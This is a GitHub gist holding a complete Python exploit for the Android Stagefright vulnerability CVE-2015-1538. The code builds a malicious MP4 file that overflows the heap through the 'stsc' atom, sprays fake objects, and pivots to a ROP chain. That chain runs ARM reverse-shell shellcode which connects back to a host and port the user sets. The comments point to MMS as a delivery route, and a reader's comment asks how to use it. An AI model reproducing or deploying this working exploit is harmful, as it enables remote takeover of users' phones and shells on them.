Created
September 10, 2015 14:02
-
-
Save AE5/d27b0fc6bdce232a0c4c to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
if __name__ == '__main__': | |
import sys | |
import mp4 | |
import argparse | |
def write_file(path, content): | |
with open(path, 'wb') as f: | |
f.write(content) | |
def addr(sval): | |
if sval.startswith('0x'): | |
return int(sval, 16) | |
return int(sval) | |
# The address of a fake StrongPointer object (sprayed) | |
sp_addr = 0x41d00010 # takju @ imm76i – 2MB (via hangouts) | |
# The address to of our ROP pivot | |
newpc_val = 0xb0002850 # point sp at __dl_restore_core_regs | |
# Allow the user to override parameters | |
parser = argparse.ArgumentParser() | |
parser.add_argument('-c', '–connectback-host', dest='cbhost', default='31.3.3.7') | |
parser.add_argument('-p', '–connectback-port', dest='cbport', type=int, default=12345) | |
parser.add_argument('-s', '–spray-address', dest='spray_addr', type=addr, default=None) | |
parser.add_argument('-r', '–rop-pivot', dest='rop_pivot', type=addr, default=None) | |
parser.add_argument('-o', '–output-file', dest='output_file', default='cve-2015-1538-1.mp4') | |
args = parser.parse_args() | |
if len(sys.argv) == 1: | |
parser.print_help() | |
sys.exit(-1) | |
if args.spray_addr == None: | |
args.spray_addr = sp_addr | |
if args.rop_pivot == None: | |
args.rop_pivot = newpc_val | |
# Build the MP4 file… | |
data = mp4.create_mp4(args.spray_addr, args.rop_pivot, args.cbhost, args.cbport) | |
print('[*] Saving crafted MP4 to %s …' % args.output_file) | |
write_file(args.output_file, data) | |
#- 'See more at: https://blog.zimperium.com/the-latest-on-stagefright-cve-2015-1538-exploit-is-now-available-for-testing-purposes/#sthash.MbvoiMxd.dpuf' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# Joshua J. Drake (@jduck) of ZIMPERIUM zLabs | |
# Shout outs to our friends at Optiv (formerly Accuvant Labs) | |
# (C) Joshua J. Drake, ZIMPERIUM Inc, Mobile Threat Protection, 2015 | |
# www.zimperium.com | |
# | |
# Exploit for RCE Vulnerability CVE-2015-1538 #1 | |
# Integer Overflow in the libstagefright MP4 'stsc' atom handling | |
# | |
# Don't forget, the output of “create_mp4'' can be delivered many ways! | |
# MMS is the most dangerous attack vector, but not the only one… | |
# | |
# DISCLAIMER: This exploit is for testing and educational purposes only. Any | |
# other usage for this code is not allowed. Use at your own risk. | |
# | |
# “With great power comes great responsibility.'' – Uncle Ben | |
# | |
import struct | |
import socket | |
# | |
# Creates a single MP4 atom – LEN, TAG, DATA | |
# | |
def make_chunk(tag, data): | |
if len(tag) != 4: | |
raise 'Yo! They call it "FourCC" for a reason.' | |
ret = struct.pack('>L', len(data) + 8) | |
ret += tag | |
ret += data | |
return ret | |
# | |
# Make an 'stco' atom – Sample Table Chunk Offets | |
# | |
def make_stco(extra=''): | |
ret = struct.pack('>L', 0) # version | |
ret += struct.pack('>L', 0) # mNumChunkOffsets | |
return make_chunk('stco', ret+extra) | |
# | |
# Make an 'stsz' atom – Sample Table Size | |
# | |
def make_stsz(extra=''): | |
ret = struct.pack('>L', 0) # version | |
ret += struct.pack('>L', 0) # mDefaultSampleSize | |
ret += struct.pack('>L', 0) # mNumSampleSizes | |
return make_chunk('stsz', ret+extra) | |
# | |
# Make an 'stts' atom – Sample Table Time-to-Sample | |
# | |
def make_stts(): | |
ret = struct.pack('>L', 0) # version | |
ret += struct.pack('>L', 0) # mTimeToSampleCount | |
return make_chunk('stts', ret) | |
# | |
# This creates a single Sample Table Sample-to-Chunk entry | |
# | |
def make_stsc_entry(start, per, desc): | |
ret = '' | |
ret += struct.pack('>L', start + 1) | |
ret += struct.pack('>L', per) | |
ret += struct.pack('>L', desc) | |
return ret | |
# | |
# Make an 'stsc' chunk – Sample Table Sample-to-Chunk | |
# | |
# If the caller desires, we will attempt to trigger (CVE-2015-1538 #1) and | |
# cause a heap overflow. | |
# | |
def make_stsc(num_alloc, num_write, sp_addr=0x42424242, do_overflow = False): | |
ret = struct.pack('>L', 0) # version/flags | |
# this is the clean version… | |
if not do_overflow: | |
ret += struct.pack('>L', num_alloc) # mNumSampleToChunkOffsets | |
ret += 'Z' * (12 * num_alloc) | |
return make_chunk('stsc', ret) | |
# now the explicit version. (trigger the bug) | |
ret += struct.pack('>L', 0xc0000000 + num_alloc) # mNumSampleToChunkOffsets | |
# fill in the entries that will overflow the buffer | |
for x in range(0, num_write): | |
ret += make_stsc_entry(sp_addr, sp_addr, sp_addr) | |
ret = make_chunk('stsc', ret) | |
# patch the data_size | |
ret = struct.pack('>L', 8 + 8 + (num_alloc * 12)) + ret[4:] | |
return ret | |
# | |
# Build the ROP chain | |
# | |
# ROP pivot by Georg Wicherski! Thanks! | |
# | |
''' | |
(gdb) x/10i __dl_restore_core_regs | |
0xb0002850 <__dl_restore_core_regs>: add r1, r0, #52 ; 0x34 | |
0xb0002854 <__dl_restore_core_regs+4>: ldm r1, {r3, r4, r5} | |
0xb0002858 <__dl_restore_core_regs+8>: push {r3, r4, r5} | |
0xb000285c <__dl_restore_core_regs+12>: ldm r0, {r0, r1, r2, r3, r4, r5, r6, r7, r8, r9, r10, r11} | |
0xb0002860 <__dl_restore_core_regs+16>: ldm sp, {sp, lr, pc} | |
''' | |
''' | |
b0001144 <__dl_mprotect>: | |
b0001144: e92d0090 push {r4, r7} | |
b0001148: e3a0707d mov r7, #125 ; 0x7d | |
b000114c: ef000000 svc 0x00000000 | |
b0001150: e8bd0090 pop {r4, r7} | |
b0001154: e1b00000 movs r0, r0 | |
b0001158: 512fff1e bxpl lr | |
b000115c: ea0015cc b b0006894 <__dl_raise+0x10> | |
''' | |
def build_rop(off, sp_addr, newpc_val, cb_host, cb_port): | |
rop = '' | |
rop += struct.pack('<L', sp_addr + off + 0x10) # new sp | |
rop += struct.pack('<L', 0xb0002a98) # new lr – pop {pc} | |
rop += struct.pack('<L', 0xb00038b2+1) # new pc: pop {r0, r1, r2, r3, r4, pc} | |
rop += struct.pack('<L', sp_addr & 0xfffff000) # new r0 – base address (page aligned) | |
rop += struct.pack('<L', 0x1000) # new r1 – length | |
rop += struct.pack('<L', 7) # new r2 – protection | |
rop += struct.pack('<L', 0xd000d003) # new r3 – scratch | |
rop += struct.pack('<L', 0xd000d004) # new r4 – scratch | |
rop += struct.pack('<L', 0xb0001144) # new pc – _dl_mprotect | |
native_start = sp_addr + 0x80 | |
rop += struct.pack('<L', native_start) # address of native payload | |
#rop += struct.pack('<L', 0xfeedfed5) # top of stack… | |
# linux/armle/shell_reverse_tcp (modified to pass env and fork/exit) | |
buf = '' | |
# fork | |
buf += '\x02\x70\xa0\xe3' | |
buf += '\x00\x00\x00\xef' | |
# continue if not parent… | |
buf += '\x00\x00\x50\xe3' | |
buf += '\x02\x00\x00\x0a' | |
# exit parent | |
buf += '\x00\x00\xa0\xe3' | |
buf += '\x01\x70\xa0\xe3' | |
buf += '\x00\x00\x00\xef' | |
# setsid in child | |
buf += '\x42\x70\xa0\xe3' | |
buf += '\x00\x00\x00\xef' | |
# socket/connect/dup2/dup2/dup2 | |
buf += '\x02\x00\xa0\xe3\x01\x10\xa0\xe3\x05\x20\x81\xe2\x8c' | |
buf += '\x70\xa0\xe3\x8d\x70\x87\xe2\x00\x00\x00\xef\x00\x60' | |
buf += '\xa0\xe1\x6c\x10\x8f\xe2\x10\x20\xa0\xe3\x8d\x70\xa0' | |
buf += '\xe3\x8e\x70\x87\xe2\x00\x00\x00\xef\x06\x00\xa0\xe1' | |
buf += '\x00\x10\xa0\xe3\x3f\x70\xa0\xe3\x00\x00\x00\xef\x06' | |
buf += '\x00\xa0\xe1\x01\x10\xa0\xe3\x3f\x70\xa0\xe3\x00\x00' | |
buf += '\x00\xef\x06\x00\xa0\xe1\x02\x10\xa0\xe3\x3f\x70\xa0' | |
buf += '\xe3\x00\x00\x00\xef' | |
# execve(shell, argv, env) | |
buf += '\x30\x00\x8f\xe2\x04\x40\x24\xe0' | |
buf += '\x10\x00\x2d\xe9\x38\x30\x8f\xe2\x08\x00\x2d\xe9\x0d' | |
buf += '\x20\xa0\xe1\x10\x00\x2d\xe9\x24\x40\x8f\xe2\x10\x00' | |
buf += '\x2d\xe9\x0d\x10\xa0\xe1\x0b\x70\xa0\xe3\x00\x00\x00' | |
buf += '\xef\x02\x00' | |
# Add the connect back host/port | |
buf += struct.pack('!H', cb_port) | |
cb_host = socket.inet_aton(cb_host) | |
buf += struct.pack('=4s', cb_host) | |
# shell – | |
buf += '/system/bin/sh\x00\x00' | |
# argv – | |
buf += 'sh\x00\x00' | |
# env – | |
buf += 'PATH=/sbin:/vendor/bin:/system/sbin:/system/bin:/system/xbin\x00' | |
# Add some identifiable stuff, just in case something goes awry… | |
rop_start_off = 0x34 | |
x = rop_start_off + len(rop) | |
while len(rop) < 0x80 - rop_start_off: | |
rop += struct.pack('<L', 0xf0f00000+x) | |
x += 4 | |
# Add the native payload… | |
rop += buf | |
return rop | |
# | |
# Build an mp4 that exploits CVE-2015-1538 #1 | |
# | |
# We mimic meow.3gp here… | |
# | |
def create_mp4(sp_addr, newpc_val, cb_host, cb_port): | |
chunks = [] | |
# Build the MP4 header… | |
ftyp = 'mp42' | |
ftyp += struct.pack('>L', 0) | |
ftyp += 'mp42' | |
ftyp += 'isom' | |
chunks.append(make_chunk('ftyp', ftyp)) | |
# Note, this causes a few allocations… | |
moov_data = '' | |
moov_data += make_chunk('mvhd', | |
struct.pack('>LL', 0, 0x41414141) + | |
('B' * 0x5c) ) | |
# Add a minimal, verified trak to satisfy mLastTrack being set | |
moov_data += make_chunk('trak', | |
make_chunk('stbl', | |
make_stsc(0x28, 0x28) + | |
make_stco() + | |
make_stsz() + | |
make_stts() )) | |
# Spray the heap using a large tx3g chunk (can contain binary data!) | |
''' | |
0x4007004e <_ZNK7android7RefBase9decStrongEPKv+2>: ldr r4, [r0, #4] ; load mRefs | |
0x40070050 <_ZNK7android7RefBase9decStrongEPKv+4>: mov r5, r0 | |
0x40070052 <_ZNK7android7RefBase9decStrongEPKv+6>: mov r6, r1 | |
0x40070054 <_ZNK7android7RefBase9decStrongEPKv+8>: mov r0, r4 | |
0x40070056 <_ZNK7android7RefBase9decStrongEPKv+10>: blx 0x40069884 ; atomic_decrement | |
0x4007005a <_ZNK7android7RefBase9decStrongEPKv+14>: cmp r0, #1 ; must be 1 | |
0x4007005c <_ZNK7android7RefBase9decStrongEPKv+16>: bne.n 0x40070076 <_ZNK7android7RefBase9decStrongEPKv+42> | |
0x4007005e <_ZNK7android7RefBase9decStrongEPKv+18>: ldr r0, [r4, #8] ; load refs->mBase | |
0x40070060 <_ZNK7android7RefBase9decStrongEPKv+20>: ldr r1, [r0, #0] ; load mBase._vptr | |
0x40070062 <_ZNK7android7RefBase9decStrongEPKv+22>: ldr r2, [r1, #12] ; load method address | |
0x40070064 <_ZNK7android7RefBase9decStrongEPKv+24>: mov r1, r6 | |
0x40070066 <_ZNK7android7RefBase9decStrongEPKv+26>: blx r2 ; call it! | |
''' | |
page = '' | |
off = 0 # the offset to the next object | |
off += 8 | |
page += struct.pack('<L', sp_addr + 8 + 16 + 8 + 12 - 28) # _vptr.RefBase (for when we smash mDataSource) | |
page += struct.pack('<L', sp_addr + off) # mRefs | |
off += 16 | |
page += struct.pack('<L', 1) # mStrong | |
page += struct.pack('<L', 0xc0dedbad) # mWeak | |
page += struct.pack('<L', sp_addr + off) # mBase | |
page += struct.pack('<L', 16) # mFlags (dont set OBJECT_LIFETIME_MASK) | |
off += 8 | |
page += struct.pack('<L', sp_addr + off) # the mBase _vptr.RefBase | |
page += struct.pack('<L', 0xf00dbabe) # mBase.mRefs (unused) | |
off += 16 | |
page += struct.pack('<L', 0xc0de0000 + 0x00) # vtable entry 0 | |
page += struct.pack('<L', 0xc0de0000 + 0x04) # vtable entry 4 | |
page += struct.pack('<L', 0xc0de0000 + 0x08) # vtable entry 8 | |
page += struct.pack('<L', newpc_val) # vtable entry 12 | |
rop = build_rop(off, sp_addr, newpc_val, cb_host, cb_port) | |
x = len(page) | |
while len(page) < 4096: | |
page += struct.pack('<L', 0xf0f00000+x) | |
x += 4 | |
off = 0x34 | |
page = page[:off] + rop + page[off+len(rop):] | |
spray = page * (((2*1024*1024) / len(page)) - 20) | |
moov_data += make_chunk('tx3g', spray) | |
block = 'A' * 0x1c | |
bigger = 'B' * 0x40 | |
udta = make_chunk('udta', | |
make_chunk('meta', | |
struct.pack('>L', 0) + | |
make_chunk('ilst', | |
make_chunk('cpil', make_chunk('data', struct.pack('>LL', 21, 0) + 'A')) + | |
make_chunk('trkn', make_chunk('data', struct.pack('>LL', 0, 0) + 'AAAABBBB')) + | |
make_chunk('disk', make_chunk('data', struct.pack('>LL', 0, 0) + 'AAAABB')) + | |
make_chunk('covr', make_chunk('data', struct.pack('>LL', 0, 0) + block)) * 32 + | |
make_chunk('\xa9alb', make_chunk('data', struct.pack('>LL', 0, 0) + block)) + | |
make_chunk('\xa9ART', make_chunk('data', struct.pack('>LL', 0, 0) + block)) + | |
make_chunk('aART', make_chunk('data', struct.pack('>LL', 0, 0) + block)) + | |
make_chunk('\xa9day', make_chunk('data', struct.pack('>LL', 0, 0) + block)) + | |
make_chunk('\xa9nam', make_chunk('data', struct.pack('>LL', 0, 0) + block)) + | |
make_chunk('\xa9wrt', make_chunk('data', struct.pack('>LL', 0, 0) + block)) + | |
make_chunk('gnre', make_chunk('data', struct.pack('>LL', 1, 0) + block)) + | |
make_chunk('covr', make_chunk('data', struct.pack('>LL', 0, 0) + block)) * 32 + | |
make_chunk('\xa9ART', make_chunk('data', struct.pack('>LL', 0, 0) + bigger)) + | |
make_chunk('\xa9wrt', make_chunk('data', struct.pack('>LL', 0, 0) + bigger)) + | |
make_chunk('\xa9day', make_chunk('data', struct.pack('>LL', 0, 0) + bigger))) | |
) | |
) | |
moov_data += udta | |
# Make the nasty trak | |
tkhd1 = ''.join([ | |
'\x00', # version | |
'D' * 3, # padding | |
'E' * (5*4), # {c,m}time, id, ??, duration | |
'F' * 0x10, # ?? | |
struct.pack('>LLLLLL', | |
0x10000, # a00 | |
0, # a01 | |
0, # dx | |
0, # a10 | |
0x10000, # a11 | |
0), # dy | |
'G' * 0x14 | |
]) | |
trak1 = '' | |
trak1 += make_chunk('tkhd', tkhd1) | |
mdhd1 = ''.join([ | |
'\x00', # version | |
'D' * 0x17, # padding | |
]) | |
mdia1 = '' | |
mdia1 += make_chunk('mdhd', mdhd1) | |
mdia1 += make_chunk('hdlr', 'F' * 0x3a) | |
dinf1 = '' | |
dinf1 += make_chunk('dref', 'H' * 0x14) | |
minf1 = '' | |
minf1 += make_chunk('smhd', 'G' * 0x08) | |
minf1 += make_chunk('dinf', dinf1) | |
# Build the nasty sample table to trigger the vulnerability here. | |
stbl1 = make_stsc(3, (0x1200 / 0xc) - 1, sp_addr, True) # TRIGGER | |
# Add the stbl to the minf chunk | |
minf1 += make_chunk('stbl', stbl1) | |
# Add the minf to the mdia chunk | |
mdia1 += make_chunk('minf', minf1) | |
# Add the mdia to the track | |
trak1 += make_chunk('mdia', mdia1) | |
# Add the nasty track to the moov data | |
moov_data += make_chunk('trak', trak1) | |
# Finalize the moov chunk | |
moov = make_chunk('moov', moov_data) | |
chunks.append(moov) | |
# Combine outer chunks together and voila. | |
data = ''.join(chunks) | |
return data | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Please we need how to use it